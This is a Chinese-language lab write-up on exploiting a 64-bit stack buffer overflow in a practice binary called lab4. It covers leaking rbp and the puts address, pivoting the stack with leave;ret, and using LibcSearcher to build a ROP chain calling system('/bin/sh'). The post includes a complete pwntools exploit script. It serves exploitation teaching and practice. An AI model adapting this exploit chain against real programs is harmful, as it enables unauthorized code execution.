实验5-通用gadget之lab4

实验原理与目的

上一篇以及介绍了实验原理,就是程序在编译时会加入一些通用函数来进行初始化操作,我们可以针对初始化函数来提取一些通用的gadget,通过泄露某个在libc中的内容在内存中的实际地址,通过计算偏移量来得到system和bin/sh的地址,然后利用返回指令ret连接代码,最终getshell。然而本次实验比较巧妙的地方就是利用了leave指令。

leave|ret

leave指令其实是两个指令合在一起的指令,即

    mov rsp,rbp 
    pop rbp

也就是说我们可以利用这条指令,通过修改rbp,来修改rsp。换句话说就是改变栈上上一级函数的栈基址来修改rbp,再通过mov rsp,rbp来修改rsp,从而使程序继续执行我们想要跳到地址。所以本次实验需要先泄露rbp内的地址,算出偏移量,得到目标地址,然后构造payload。

实验步骤

chechsec命令检查是否有canary保护
实验5-通用gadget之lab4_第1张图片
图中显示并没有,如果有的话,就先进行泄露。

IDA反汇编

 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 {
 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stdout, 0LL, 2, 0LL);
 while ( sub_400676() )
   ;
 return 0LL;
}

通过看源代码可能看出这是一个无限循环,我们来看一下sub_400676()

int sub_400676()
{
 char buf; // [rsp+0h] [rbp-50h]

 memset(&buf, 0, 0x50uLL); 
 putchar(62);
 read(0, &buf, 0x60uLL);
 return puts(&buf);
} 

由此看出可以利用栈溢出来进行泄露,找到system和bin/sh。

动态调试
linux_64与linux_86的区别体现在编址和传参,在上篇已经描述过,这里不再赘述。
利用IDA可以看到
64位直接可以看出实现栈溢出需要填充多少字符,然后边写脚本边调试,构造payload。这里的payload是利用read()泄露rbp内的地址。

 payload='a'*(0x50)
 p.recvuntil('>')
 p.send(payload)
 rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
 print('rbp',hex(rbp))

实验5-通用gadget之lab4_第2张图片
在这里插入图片描述

通过计算,可以得出目标rbp偏移量offset=0x50+0x20=0x70

然后第二次进行泄露,利用puts()输出puts在内存中的位置。

payload=p64(0xdeadbeef)+p64(poprdiret)+p64(got_puts)+p64(plt_puts)
payload+=p64(sub676)+'a'* 0x28
payload+=p64(rbp-0x70)+p64(leave)
p.recv()
p.send(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print ('puts',hex(puts))

在这里插入图片描述实验5-通用gadget之lab4_第3张图片
然后计算偏移量来得到通过计算偏移量来得到system和bin_sh的地址

libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))

这里就是用了LibcSearcher函数,通过代码不难理解其中的含义。
执行之后的结果就是得到了system和bin_sh的实际地址
在这里插入图片描述
实验5-通用gadget之lab4_第4张图片
实验5-通用gadget之lab4_第5张图片
现在继续调试,此时程序再次执行循环体,所以需要再构造一个payload,将system与bin_sh的地址加在ROP链中,此时我们可以利用read()将system的地址和bin/sh读入到.bss段内存中,来构造payload。但在这里我们也可以利用ROPgadget搜索一下程序中所有的pop|ret,看能不能找到一个gadget将rdi的值指向bin/sh的地址。
实验5-通用gadget之lab4_第6张图片
发现确实有这样的gadget

所以payload构造如下

payload=p64(0xdeadbeef)+p64(poprdiret)+p64(bin_sh)+p64(system)
payload+='a'* 0x30
payload+=p64(rbp-0xa0)+p64(leave)
p.send(payload)

这样就可以利用ROP链调用system执行system(“/bin/sh”),这样再次与程序交互,就可以getshell了。
来看一下最终的脚本

from LibcSearcher import *
from pwn import *
import pwnlib 

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

p=process('./lab4')
elf=ELF('./lab4')
# gdb.attach(p)

got_read=elf.got['read']
got_puts=elf.got['puts']
plt_puts=elf.plt['puts']
plt_read=elf.plt['read']
main=0x00000000004006C0 
leave=0x00000000004006BE
elf.addr=0x0000000000400000
poprdiret=0x0000000000400793
sub676=0x0000000000400676
payload='a'*(0x50)
p.recvuntil('>')
p.send(payload)
rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print('rbp',hex(rbp))

payload=p64(0xdeadbeef)+p64(poprdiret)+p64(got_puts)+p64(plt_puts)
payload+=p64(sub676)+'a'* 0x28
payload+=p64(rbp-0x70)+p64(leave)
p.recv()
p.send(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print ('puts',hex(puts))


libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))


system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))

payload=p64(0xdeadbeef)+p64(poprdiret)+p64(bin_sh)+p64(system)
payload+='a'* 0x30
payload+=p64(rbp-0xa0)+p64(leave)
p.send(payload)

p.interactive()

getshell成功!
##心得体会
本次实验比较巧妙地利用了leave指令,而且程序也是一个循环体,就减少了一些payload的复杂程度,其中的具体细节自己实际操作一下会比较有感触。

你可能感兴趣的:(实验5-通用gadget之lab4)